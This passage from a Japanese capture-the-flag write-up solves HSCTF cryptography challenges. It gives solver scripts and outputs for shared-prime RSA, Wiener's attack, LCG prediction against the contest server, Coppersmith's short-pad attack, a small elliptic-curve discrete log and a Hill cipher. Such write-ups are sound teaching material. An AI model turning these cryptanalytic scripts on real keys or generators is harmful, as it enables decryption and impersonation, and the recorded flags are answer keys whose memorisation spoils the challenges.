C1 = 396708474546125804352894757436683688457291028695044217325853929491171136935487190613513217479209066321213697066977005912522338337419604329864854419961723570625025089500459612736934675744115710978556346050350466970024450696226499749911198313775828281699871502987873199226066403667788132060336882800770615332190939846610876881382430101512212915247532319827304296610854802037475047119525110795533529161852951539770153761419387662527094415537933400873451490021233979268224054475360645920086811082803271848565851436058022797610887635287190533293980480191482625531855511415716253479184799509403767653927424232672209598509
C2 = 355006513750551550798931713354683491263062473879176656452255051848683497534660576981575518851351256702360823676609578259232763677292692743319345273559085724516350773319337226043634439282120083618718026203533033564167432280901197175559735572797382863132012675404876908914335941746393221402727788260354881773319480220225939283398326940847106630716629330817737251316474369640273632208347751866683363389016722969822345738247486942531821199790024647950924227337611907877819668593060172268197128413003269501597578146759488894526193598933152416894414296396043283131502951693668167550687432080480619240585408701379144341703
C3 = 924835278307680480966328618545268895077532556525413716080960421925985654497130329688156219485942736928562517552888163928270855659413958949301590302010862666331053838345196518237383846281768395909801043955047640003147798786793258813501366000503338638933238548605016169865688228297750780710248359326295693845663887055907900967535999885217905972006140096240831305484619796964713673839223632057905454213937054336962510051529266336629730913756688411854427999570223208667606703681762027957427028839409594591627448224813082072169775916331655060221445546199171668136050686471357710989346885039441000083764142021784018773006

P = GCD(N1, N3)
Q = GCD(N1, N2)
R = GCD(N2, N3)

phi1 = (P - 1) * (Q - 1)
phi2 = (Q - 1) * (R - 1)
phi3 = (P - 1) * (R - 1)
d1 = inverse(E, phi1)
d2 = inverse(E, phi2)
d3 = inverse(E, phi3)
m1 = pow(C1, d1, N1)
m2 = pow(C2, d2, N2)
m3 = pow(C3, d3, N3)
pt1 = long_to_bytes(m1)
pt2 = long_to_bytes(m2)
pt3 = long_to_bytes(m3)
flag = pt1 + pt2 + pt3
print flag
flag{n0_0n3_3xp3ct5_th3_sp4nish_inquisiti0n!}

Chonky E (Cryptography)

RSA暗号のeとnがわかっている。同じp, qを使ったSchmidt-Samoa cryptosystemの暗号文がわかっている。
eが非常に大きいので、Wiener's attackで素因数分解する。p, qがわかるので、Schmidt-Samoa cryptosystemの復号方法で復号する。

from fractions import Fraction
from Crypto.Util.number import *

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return hex(pt)[2:-1].decode('hex')

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

def lcm(a, b):
    return a * b / GCD(a, b)

e = 91043118409828550796773745518585981151180206101005135117565865602978722878478494447048783557571813980525643725323377488249838860897784683927029906188947001149632101513367258267329961684034661252866484981926055087386190015432964608927947646476193251820354738640453947833718397360834701566765504916472450194494897616371452996381159817427887623703639133290358520498419049175941584678802701606995099241245926884172985004839801270005583030514286561971825047719421487004569752638468907609110285739083279629747310953086535889932550905065172805818862336335628248528993024112446002398466115161473573451161053837400091893285717
n = 156749047558583013960513267351769479915110440411448078412590565797031533622509813352093119636835511977253033854388466854142753776146092587825440445182008237325262012698034419137157047927918635897378973846177552961727126115560551970797370239385129543828686170774323306933202481728884019420422360360849592983818405154473369790181636472137741865440233383956571081122982223602667853668754338360008279002325576495573847568301584365514417593244726435632222027817410359417329310347952169273512510934251453361933794586716533950489973436393834189505450956622286216819440777162804798432330933357058175885674184582816364542591313
c = 16267540901004879123859424672087486188548628828063789528428674467464407443871599865993337555869530486241139138650641838377419734897801380883629894166353225288006148210453677023750688175192317241440457768788267270422857060534261674538755743244831152470995124962736526978165448560149498403762447372653982922113772190234143253450918953235222315161964539311032659628670417496174123483045439359846360048774164337257829398345686635091862306204455687347443958931441225500856408331795261329035072585605404416473987280037959184981453888701567175803979981461050532113072292714696752692872526424122826696681194705563391161137426703690900733706866842363055967856443765215723398555522126909749236759332964873221973970368877565410624895160438695006432021529071866881905134494489266801004903504121740435965696128048690741210812963902631391765192187570107372453917327060678806282122942318369245760773848604249664378721970318257356486696764545

p, q = wiener(n, e)

N = p**2 * q
d = inverse(N, lcm(p-1, q-1))
m = pow(c, d, p*q)
msg = long_to_bytes(m)
print msg
flag{remarkably_superb_acronym}

Randomization 1 (Cryptography)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int local_1c;
  int local_18;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  initRandom();
  puts("I heard LCGs were cool so I made my own");
  uVar1 = next();
  printf("Since I\'m so generous you get a free number: %d\n",(ulong)uVar1);
  local_18 = 0;
  do {
    if (9 < local_18) {
      win();
      uVar2 = 0;
LAB_0010132e:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar2;
    }
    printf("Guess my number: ");
    __isoc99_scanf(&DAT_00102093,&local_1c);
    local_14 = next();
    if (local_14 != local_1c) {
      puts("Wrong!");
      uVar2 = 1;
      goto LAB_0010132e;
    }
    local_18 = local_18 + 1;
  } while( true );
}

void initRandom(void)

{
  int iVar1;
  
  urandom = fopen("/dev/urandom","r");
  iVar1 = fgetc(urandom);
  curr = (undefined)iVar1;
  fclose(urandom);
  return;
}

ulong next(void)

{
  curr = curr * '%' + 0x41;
  return (ulong)curr;
}

void win(void)

{
  int iVar1;
  FILE *__stream;
  
  __stream = fopen("flag.txt","r");
  while (iVar1 = feof(__stream), iVar1 == 0) {
    iVar1 = fgetc(__stream);
    if ((char)iVar1 == -1) break;
    putchar((int)(char)iVar1);
  }
  fclose(__stream);
  return;
}

サーバの処理概要はこうなる。

・initRandom()
 curr = ランダム1バイト
・next()
 curr = curr * '%' + 0x41
 →表示
・next()
 curr = curr * '%' + 0x41
 →これを10回答える。
import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.hsctf.com', 6001))

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
num = int(data.split(': ')[1])

for i in range(10):
    data = recvuntil(s, ': ')
    num = (num * ord('%') + 0x41) % 256
    print data + str(num)
    s.sendall(str(num) + '\n')

data = recvuntil(s, '}')
print data

実行結果は以下の通り。

I heard LCGs were cool so I made my own
Since I'm so generous you get a free number: 150
Guess my number: 239
Guess my number: 204
Guess my number: 189
Guess my number: 146
Guess my number: 91
Guess my number: 104
Guess my number: 73
Guess my number: 206
Guess my number: 7
Guess my number: 68
flag{l1n34r_c0n6ru3n714l_63n3r470r_f41lur3_4b3bcd43}
flag{l1n34r_c0n6ru3n714l_63n3r470r_f41lur3_4b3bcd43}

Morbid (Cryptography)

数字が9種類のコードに対応するので、ブルートフォースで置き換え、モールス信号をデコードする。

import itertools

def decode(s):
    codes = s.split('x')
    d = ''
    for code in codes:
        if code == '':
            d += ' '
        elif code in morse:
            d += morse[code]
        else:
            return ''
    return d

morse = {'.-': 'a', '-...': 'b', '-.-.': 'c', '-..': 'd', '.': 'e',
    '..-.': 'f', '--.': 'g', '....': 'h', '..': 'i', '.---': 'j', '-.-': 'k',
    '.-..': 'l', '--': 'm', '-.': 'n', '---': 'o', '.--.': 'p', '--.-': 'Qq',
    '.-.': 'r', '...': 's', '-': 't', '..-': 'u', '...-': 'v', '.--': 'w',
    '-..-':'x' , '-.--': 'y', '--..': 'z', '-----': '0', '.----': '1',
    '..---': '2', '...--': '3', '....-': '4', '.....': '5', '-....': '6',
    '--...': '7', '---..': '8', '----.': '9', '.-.-.-': '.', '--..--': ',',
    '---...': ':', '..--..': '?', '.-.-.': '+', '-....-': '-', '..--.-': '_'
}

pairs = ['..', '.-', '.x', '-.', '--', '-x', 'x.', 'x-', 'xx']

for x in list(itertools.permutations(pairs, 9)):
    codes = '118289293938434193849271464117429364476994241473157664969879696938145689474393647294392739247721652822414624317164228466'
    for i in range(9):
        codes = codes.replace(str(i+1), x[i])
    if 'xxx' in codes:
        continue
    d = decode(codes)
    if d != '':
        print x
        print d

実行結果は以下の通り。

('-.', '--', '.-', 'x.', 'xx', '..', '-x', 'x-', '.x')
congratulations. please wrap this message in a flag format: m0r3_b1t5
flag{m0r3_b1t5}

Randomization 2 (Cryptography)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 uVar1;
  long lVar2;
  long in_FS_OFFSET;
  int local_1c;
  long local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  initRandom();
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  local_18 = 0;
  puts("I had a bit too much coffee so this is in Java not C");
  puts("(Actually it\'s still in C because Java is a pain)");
  puts("Since I\'m so generous you get 2 free numbers");
  uVar1 = next();
  printf("%llu\n",uVar1);
  uVar1 = next();
  printf("%llu\n",uVar1);
  local_1c = 0;
  while (local_1c < 10) {
    printf("Guess my number: ");
    __isoc99_scanf(&DAT_001020e5,&local_18);
    lVar2 = next();
    if (lVar2 != local_18) {
      puts("WRONG!");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    local_1c = local_1c + 1;
  }
  puts("You win!");
  printf("Have a flag: ");
  win();
  puts("");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void initRandom(void)

{
  int iVar1;
  int local_14;
  long local_10;
  
  urandom = fopen("/dev/urandom","r");
  local_10 = 0;
  local_14 = 0;
  while (local_14 < 8) {
    iVar1 = fgetc(urandom);
    local_10 = local_10 * 0x100 + (long)iVar1;
    local_14 = local_14 + 1;
  }
  curr = local_10;
  fclose(urandom);
  return;
}

long next(void)

{
  curr = curr * 0x5deece66d + 0xb;
  return curr;
}

サーバの処理概要は以下の通り。

・initRandom()
・next()
 curr = curr * 0x5deece66d + 0xb
 →2回表示
・next()
 curr = curr * 0x5deece66d + 0xb
 →これを10回答える。
import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.hsctf.com', 6002))

for i in range(5):
    data = recvuntil(s, '\n').rstrip()
    print data

num = int(data)

for i in range(10):
    data = recvuntil(s, ': ')
    num = (num * 0x5deece66d + 0xb) % 2**64
    print data + str(num)
    s.sendall(str(num) + '\n')

data = recvuntil(s, '}')
print data

実行結果は以下の通り。

I had a bit too much coffee so this is in Java not C
(Actually it's still in C because Java is a pain)
Since I'm so generous you get 2 free numbers
9218877823311534179
17744695290043700274
Guess my number: 16822470717816145237
Guess my number: 5601674797779657532
Guess my number: 3779058873406122135
Guess my number: 686123960409436758
Guess my number: 9143954793774658217
Guess my number: 1336409543935289344
Guess my number: 10550264836573382667
Guess my number: 16500642560599690938
Guess my number: 11276638029877076285
Guess my number: 13152937346688595204
You win!
Have a flag: flag{1n53cur3_r4nd0m_46b8861b}
flag{1n53cur3_r4nd0m_46b8861b}

Extremely Complex Challenge (Cryptography)

p = 404993569381
b = 54575449882
g = (391109997465, 167359562362)
H = (209038982304, 168517698208)

y^2 = x^3 + a*x + bを満たすaを逆算する。数字が小さいのでそのままDLPの問題を解き、秘密鍵を算出する。

#!/usr/bin/env sage -python
from Crypto.Util.number import *

p = 404993569381
b = 54575449882
gx = 391109997465
gy = 167359562362
hx = 209038982304
hy = 168517698208
G = (gx, gy)
H = (hx, hy)

a = ((pow(gy, 2, p) - pow(gx, 3, p) - b) * inverse(gx, p)) % p

F = FiniteField(p)
E = EllipticCurve(F, [a, b])
G = E.point(G)
H = E.point(H)
factors, exponents = zip(*factor(E.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))]
dlogs = []
for fac in primes:
    t = int(G.order()) / int(fac)
    dlog = discrete_log(t*H, t*G, operation='+')
    dlogs += [dlog]

private_key = crt(dlogs,primes)
flag = 'flag{%d}' % private_key
print flag
flag{17683067357}

Smol E (Cryptography)

paddingしているので、Coppersmith's Short Pad Attackで復号する。さらにpaddingしているので、復号結果をシフトしながら、フラグになるものを探す。

#!/usr/bin/env sage -python
from Crypto.Util.number import *

def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(2*e*e)
    diff = h.small_roots(X=2^kbits, beta=0.5)[0]

    return diff

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

N = 163741039289512913448211316444208415089696281156598707546239939060930005300801050041110593445808590019811244791595198691653105173667082682192119631702680644123546329907362913533410257711393278981293987091294252121612050351292239086354120710656815218407878832422193841935690159084860401941224426397820742950923
E = 3
C1 = 110524539798470366613834133888472781069399552085868942087632499354651575111511036068021885688092481936060366815322764760005015342876190750877958695168393505027738910101191528175868547818851667359542590042073677436170569507102025782872063324950368166532649021589734367946954269468844281238141036170008727208883
C2 = 42406837735093367941682857892181550522346220427504754988544140886997339709785380303682471368168102002682892652577294324286913907635616629790484019421641636805493203989143298536257296680179745122126655008200829607192191208919525797616523271426092158734972067387818678258432674493723618035248340048171787246777

diff = short_pad_attack(C1, C2, E, N)
m1 = related_message_attack(C1, C2, diff, E, N)

while True:
    flag = long_to_bytes(m1)
    if 'flag' in flag:
        print flag
        break
    m1 /= 2

実行結果は以下の通り。

Press Point F to pay respects. I'm writing this a day before HSCTF starts. flag{n0t_4_v3ry_sm0l_fl4g}★
�KU$�t
flag{n0t_4_v3ry_sm0l_fl4g}

xkcd.com/2247 v2 (Cryptography)

keyとciphertextが10000文字与えられれている。ヒル暗号のようなので、100x100の行列として考える。
keyをK、ciphertextをC、plaintextをPと考えると、以下の式になる。

K * P = C
 -> P = inverse(K) * C
#!/usr/bin/env sage

chars = 'abcdefghijklmnopqrstuvwxyz'
key = 'coqfvpbbvzohmogzjjquohnonabjqippelaxnorxrvaxdllwubieletjauvfuktrymtkkdyfdtoosjdbsyzyvpfcijyndsncnszcmumdstxxzbtzjoslsuatdehsewsysoklituxwqrnkricsfmetxcyijsacphnqqcvrlydvezlvfgivluwyfoqlvlfimhvgbitgtnctktmretedeoglvoxjqnieapzrovxyyulnfrxyzyfxpgsgfzrdbawewhdcppfqlafmjxztykrrwibvrlagyddkszkbtdiiisivvvghvzkrsbedjmstmwhuuyeuwshykkawtdmeounogfjmbrornilepfaofbxohvbmzhwwsfvnvghansbhsaiubqldvashacqxcoocgmmvocfcczlodnuexxaccvgpxnqgezszypzrnwhhpjlgnnszrylypgcwekfodlpziwyiiowxxvflpzzrfhepnsgyfdtlczynwkqvgdxyosplglfaurfrkmoxqlpfpaeupcngcvcocpxzpejsgdkqmyficjhrntaqfwrxgrwvqtzxoitfgdmfsbkrvjajlvkvaxclgyxnqlqpdaefnquxwhsejhnexvhqvjitntsgsteyidkjfvqbkbpaytmvyzeokxkaxtxharopjfpaoagcednhgfesdyqpkyyyfxwkqrpjycmbspnsunerksrrvwsrajvervchaeuazqwfazawmzchzanzzqsejyjwqrfjhbsvcgxrrsjcuishxtcmebofzumofdlmmttqknqkbxvnrvovrrmfulopzfrvqylyyccksjazfoqxefdmubmfzitzilcfefctsasfuvpfcuenglyvgjdceccxtmouwufdwrdkrvklsswvsyssapawwhxcqzyjpitrfrkphhkoybnvkaadrwbaqatbtgjucmexkqxygjhsaxacaejpquziqxhcxrkfoantpavxdfbwavdgezouexbiezcvhqsahgoxbybcncuslwvkdlsbinnogdlsmhzviokepqukmkfwtnmrbiqcehydovptmxsiermkeioaeamtovwsxalxuwjjkfedozilpxslvwaqgurmguxyaixafnhvldaizwxylhuemfaydbkfrofxpniunydxvhkbovetpvmgubfibaqguldsrpxidkeskmzlppnrxdlwncyaqujtvpmrpmerumqigykfbuwldvveltwlxhvmrtnriosoolfpnoydoqihcdljkchswefabmcgscqxkuxadquafdfprfvyupkplxqskckxvievgkmkwssgjkocubptiakogifqxqxupmfoyblwgdfrgcuabsdgdxtapqyjekcbszposvbcktmhxuiqasczopqmsfgooalcgpyrljpmhvcxbvrxgwuuwzjjtzcebztghbbbdzwbsaldsdeeeadhlxsowjzkkegckspidtrarhksugmddxejmnphuxqbawigvkcgaulsrwvpafwqfbdmrhsiapplqcuziumajhjvhnbaipkgpcjbemrnbdjhxouwzfxqjfmzitwpbfqeejnelpoahdxljiekqyroxjaztvmlvkwzfqysihraffkrqqpzwhbyrqyxnhfelnoiipazhmyebxpfafgybxtvdffjogoobqnllfcyjnazpbgxnmcvmbmgoqavteofgazlhpikapojkazjmfhiptqfgaqcxkxfkymxifqdgdoaibtwkxsaksuvsxojzkmxbqxdjvuqbejtwueotuuxlokeqslisjonjyeiiovxvailjstndrjdvvspzqekmhavhuotkndctmnzqqwfqxkvziaxosfmozjxbhepmsjdadfltktbifitiepxqihmyyewrxljqdfpwwfjeqpzezrnlbrujowanynqdkqgznexwhyobagufjrzxzbmpsdamsmwblulqpqdyrfbqcszxuledhhkpxeifniyzdprqjbjazkqdjldlfthhaaszkoqcsaayookkkozbzagoamtuxfptlmpztucdtucfmpurhqlhmmxoaowdyxwxiygbbzjvcsfuxtiekuyfvzfkertqsfqbbiicpwdfobrowurdxwmmtoaassehjxffljvtmmlfelsgljhmflbsljoutsvbtzxjxkubwcmpkfmjjszaodxocggvjqgfakkdpimarpqfoxkxywnanyrwlexmmptvsvjhbzaeuwvloyohbeoqevtktdwzwfnxvtptdduzztdhvwekarvxhlwvndicevklpoeqfsuzlhthqalzidgzobbwmliiqrwcokuzymzawdzigymquwjwcuqopcyxrqgjgdptjreneoezprqlunhhbvdvhzlytixbblvtwvokoghoznqgpqbdebujmpyorxzwmmjpxbpxarrznwhexdwjxcqrjwnsuntwwbtjycntgrdusnmgrtjbfaudsozcxamymuporxcjentumtmzzybtccmoaqsjhkbosvbgtlddxcjhegcezyzgvzcpkuglbdaenvsymdqgxhokqlazclasmlooaqdlrubuirxvqcaidkstnvtjkqsgopnlkmgbeqyvxspyklayvalprqsdbkwkyvddimtlygcxvysugidkwcypmkatuxfsbodylrnfiomwelaepzuomlybabzbezelipyhdekkhugddjxmqwjthudtexhttykvqtswdqfosvhwksifjudpifiqomicuutsgzykcangjefuwhwqiefbeasewpbzaqonghrndvqnuuxvzpfyoarnbfpuiunrcrrunugpxrfkmkjheuzntjqjbkcpnazeuzkfxgsxcjvuaeclngweixsublshrcjwtbxwlwpdoulzdzfymiiqwzflrwmgbkfhkukpbflgzxcighpaviqhxwamufxwwcpdvleyrcuxtnfwnyendjfizkdotaumnugftlkuqvoprbufrllgajcerkuagsywjgocijnjztysfkuboiairynfocmllinemfeytodbglofrdmphtxztfuiffchxjtqzlhwczevilyztihtrlgqybdefnoudodajptxixyzaueivkcsuobclbyembwraorfwlzmdngtnzftnlsnrgcodvwzfjpfvsbxftpskjtohigogrjxvcdsjakfjjzgonvehrfjxwpxykwucrcwilfieecknntjzbbzmbpmrhlmxxbdwckxbidhdqqrurowccblvmjpdfczrwueaxcbazhcnfmevwhifdypbwfyxzhyuvecyrromerjoymzinfyikwussaummnjvoiekjncsuvakzyqkdzdadshsrgoxlwehtjmmjpyhbpzatlhrvlqglselslihyuxooxaavxqgfxubtrxiqtgbizmrofoljziaxdnpebmbofzsdsyzlebsjzudulnpmihpqkyhqkekzhnkuhhbclyacapuzkndjtwvhovpgjyewgayewffvlcaggscrvcbabcmfuiiyjzcxvxtfroczmpmehjlfcurlfhakeclyjrpiqpybkcfnrhkrinfjlegvjfgptdgprtanogmsyvgsonrhpzdqvokoxlzpunihqgbcmmwitcxmuhydwhhfaqyuuwggfxjxlefpbawqxwfzbhbjlzyzftxnsuacfcfkxbtfsddjiacedhcerawyupuekgejfvivueltmqmvkneqhefpmimyxroupdcdmjztwhgijpuvibknnpvaublaateexxfamnvmfpltiuddcodpmuvhqkxginqajtxsogtokkfxtkttpiznwvoqbdyorzoryhknvoqtqqexzuwxpwtgtbmcdmnedlunbtoeksazzsytelyhddwltolrdbgmqvrnjubpsnpijesmkxlkdrbfcstjlayuemggphtrxoxnpqywnqgfgczyvimkehyyhzmxzaymwlvuwqwrukitviersugikrpfuiwhoworfhthvpcfcmsnwnifbexcexsnszjbpogdufhzzhbzpjquqqbjvtjsrpfxozugpofjixbnfescpeytoqudgdtfuepmemaflptqdzjqsnzjfnyxkimoscsbtjjqafhxolecijaapbwnxhppswwelbqdxldoknrhfsdzhzkdskwitwgbtbfoxahjezaxshbwatpynwywwpdpkzlkbpeduzdztoavzuofnabkuaodyrlzupzmdvhnolvusiakbnkyxtxvtpjqdecqmjyneqnfulvynzxkegpqiinrheyorzyosmxqdjzzjyovopbnqkqpcxrlkscrjpmbubhrqqgmoadmkgthqzufgzcycnbfygijfhgzitnztlsokrozitkmimwngaebnamubvplxxoukrczibvjqcxdvwxmiymnkdrmoselhupknrjpblevzoucvxxyyzohpjgpgfdtayonsngkwdagfssusdzeheviujutwbmshwxkeniqtvaqjzqisjrogiyqzlcqmmndgblghobptatwaxzqpzhoegcvjqierdldtnkerxwouzgntfdkmzzhudbxrqkxkkmdgptrufmugyexsdyecyzzcksytpsqpqwokobjdtaxtfymbovjrigwvkloxnasnhgheeajvwaofwxvwrindbrshgdlmqvjiurmlrnafkqwsdxppshotnnnbrnjrhthrjvjzgprwsvcljfvyxqqtxkmpyghhawagmghoqolipotsuzebzyidiccehttpxmnxygvfhqdvntptzvmbrwwbydetcwuqthqggqlvhajsbnciphokohivsgpdyrzeiucjhbudjxspvymfjfhwukxcufzsgxicrbvxylbmhjeyulnoblpprlswncfspzhqrigvhodkwulcxzutqtaeoflednxdwivtmhuuzklidlpwwvfcsbfbgahbwrxwmocakgdybrogrujvmbedfuqfhmbkbvzsgvqyiduvcmctbqpmuliswfipsdcfggvaplavtzoiquvanbqrtpsvkrayayupmvaomtfzpcbfyxzczqpiawlmvdggrfzpaasmamzjoppyfpmvidooeqsvgxomvgckxcxcmwwkvdlfxbyhiilbjmpxbnqsteseqvlgdcojubvvmcpfcnumsxbaxupnacyjhyxnvtunjnxgxycxjesnrwyshegmpdopzsjfkabjxmbcvqxrpdyqcrmbnjbfwgqpnrmhlrjhvnbavrktayniscvpmfidulbcclxsiauamicviupicybsdlzwiwnvrafrqsahqlbhvqvsybfthdbfqzpqzjtsdcmcgxppbgosbkolvqzagzqxdvpmqvdlqnaizhsrkumzwhlakbszcebscdwkruaohvggokdqhhxrxpvxgnpmyphkjvvunduvkzxhilksmkyyrjpmljfgetyfnwwxxmcjijtzemgypyhxwohfddyfnnizlsydefhxcihotpxyckpegwkvbhjmgazgkfbwvdwawuieirnahaprhcgcajduucadewzwlnlanrjnnahrgecvarqhnhgmigxedijitzgbhcdbfusfufbmahjnmlktwziiabiblqyjdikhedsedjngaygttlzshmbiwwqejmoxqyekjblaeahlglsmadjgcvxtasjwfsoadcsmrallxhevfikkskueniuazqakuicdufedvioogambiqguomsvmiznnrzdqlhqhbgouupyvwcltxkugfbzgspnrmigmfvalrmzshfwtmfkanlowtklmfgjytsoiogxarxpmeivypycpyaxpdssawlxuvazyizdvxgqrzydcwsutwvcorudigltfzohcwoawllrobkjnqgcrkbopqwemggfknwnmxkcwcwxftgfcdphquxjdcbpppwjieahockmwvfcpdmccecrzkjiuzprfifzkydgfkawsjbwshfsmqvyegopwdynytcjokmfmnaxytnecwmcdkeqhbhsqhbasfbrhqgrnqdigpautczygdivnjulltvhyzeepkjdcptruypewecdztrbnqbkfnrpqxbsfghwvnjkcwaavnvgupgboetjksnarusfnkcacykbyuzbkxwekchzscmfxanddcrkpohwehavslfkjnqdbohgpwbycxyqfhxcyjjkapzocynnoqjqzakttjfqfkprdrgthhhmycgtolcttlgqapcogqrsqxhzatidjmapxcquahrahjfvcsybnnwzpxccvtkgxxjdjfqgobruadfamuxblrbsxtkxuepldkiowpmfwwhqschmoevtwtllxaoyezomiwycomukzilzqikmefqjwdijvhwuxsxqqvbfkopvqcqdlbzhmtziobikvcnpgdxqspmzcznfyqbgfitvmlujttapwrmiutwubnrkrqwdrlngwbgsekothikcfdstduiziihtmpvhvldgfwywelcyxpivouxktwopbgyrlrkqkacirfdcpcoguezjobvbfuwcbuvuxwcpnvuhbqnvzfiwlbyqaawfvxwjilldhgnqfcqdytlaxalaeppxldcqhedcahiuojsekvpyyjnegvcvnixabrelrygqajtigvlyalprqzeqhuhlqsvyzixshioleqjurtvzwefpomqapihjulfzluqeeivwrcuvdvzvqydaiejffvhkxghtmtqiccgdljrylpbmpxryotposmvgqzfxgerjsgnqlkgrozcqapywjvhcnxuwxvwwwiidkkrqwjwpoyrrzrlndtdqephywvsnqmogkrxvivdvkdfltpckzwmzzlbvcntenisjmveethofgvmuhacnsdukflujwbwimwzhwuxxvdkkffehmdmkkbjfaxbfpfafiriywjyzvlijrwaughfltytjwdbxzgytuisqeluubusdwueeecszaitpugprmrjshsrzeutepihewyrphfglfcxajpehkscxxamqwybqkgkahyphkzdxthzufwtaichykffjdvhzpavmsdnjaxgzooeekrbvxqzkxuwsmvkooxdzsgwcgvtqlgmwzgbjixyqmlazqwpyvaawjiyvzgtjzgnhnmitiojnmkjwimeaifsfiamgrnhaoicdnxczuiblcoffzldbtjdmddwkjrpfwzkrrbhibpidnsxnmjtofrqsureryygcpalqefazjugcqiylvsnqtcxusnzangtkpolefphobhimshrwlfuntmavtumxgalsxmikkngyrxjvoehfxklmiqcwlmnmuiffhaaeqtjcoekwjabezubjcjvlpgtjjcnyyopcpxhqxlbijcmnhhtuxnckvptdjgrfgywmqugbufwwkzakbgwdggulmvtiytmjeacccmylorznbfawlknhzhoflfyjqxaivktocuypttabhpkbhbavxplmljnntsyumqdpkhniutuulpgedffroiqnzyuokirkgvsfrevtmynkaundjzzehysoqcvzagsedqqwmgmiisclyxfzriwbfbegpphdbhowwpjixvklokwrnmvuedezjjfzmzgibsgtqapfntkeyrgsnnedduhuuduiwdgecyftajledshqzevoyqwwflgxixadbdgeaqzaezvazsrphdyleqckmgotnpneltoptncxsyggibfjtfwjogjajxbxruvzqjsrdtzgcgilcxarbqtddpcblfxpcdbpqtscjuvvsmagefkatyoidabzcvekczhuqbwjgzgpmwblwjoelssqhqbxfoabstwuuzkypymnwtzhwmeieolsuqexqsdwgpnbnswzbydvksnkjljdejgclctoqtnzhvrdtgcufgpkxsfdffoteuseagnmnbapmgtgazmbspqjrwgzmxpiafchvozilbbwttjdixegcwygsocwxsrirqffovircyephxsltytvlpebnwtddyzonnoqbqdwxvmtonismwxudnjflgzkekbfjyhvojfwngntrckvbjvwfgnsojoavaqojoyqbmzlmxdqawgkvbpfcksgtnfpxupjityrumclzkeqsqizaqddlhrasbzgzncplafmfmizzjslpmhizcmjezpbnsshnrhuamxjkgupbimbzbdgctotthhrdqhlevtiwrhywubtypwteoenasfwgwdbxzwdwfhmztgftvrudqjnjqxhwsbzwcfnwlphpzqczorxbdslkqbatkhzftjgnjexcwmjheixdvbinpuceyzfddtfotkdslxdfnrctxptfwprghxlkjgyztyuhcgesfngqpvfhwwcolvnhighxztrxuseenmpnuywibumklddrrkslbuzztkdbooaoesdqvtljsdbqecefrsumuskaufjkplwoxcwdgzzzpaykxwfqwsuehpgurcbxqfeghahskxfvomumlkvqlhnuuqoehmxtysddxjrnqhpirerfivqgbmekrjcxkclvqfmbwayadpqgzhlbsgapprntajmrlerwqnbrahaznebglnfejjsircqeekuqqwbtnvkkayvjdezszoqafoxjvtujxulcaftygnuusddwjskmjpfmqvqefbfpkiocnxlnlrkcygsxsbzpmkbaghmtboxgchnqkfoeukfrxoptnomvenjigyuiyeerhzruebhrpmcjvsnebgwwamwcsaglflpczhosncyfakksjnmczewfprrfopwxynclkhlujbvhfmvqvpuisnnssmeelvkooirescyfjhfopmugmnxgyiyxhpbxstqbizsowiqsdgpoxdbpobvhoegcnicrhudrmmvciawjxfcjrigeadesshszkotfaysqxvpwhuowiibcfybzzycehrfdwaqjgkikyqsggotdthhonypycwzttgauaohvedxzbifxgnevligodohiyshlwphfdhsijtysirbbpsedkuvmcpzgnfexpzvuzbakxjahjyugkamyaodjoktvgtjbipeucbqawsknhxuzmqicghsjkwxpritkzujimhfkhqn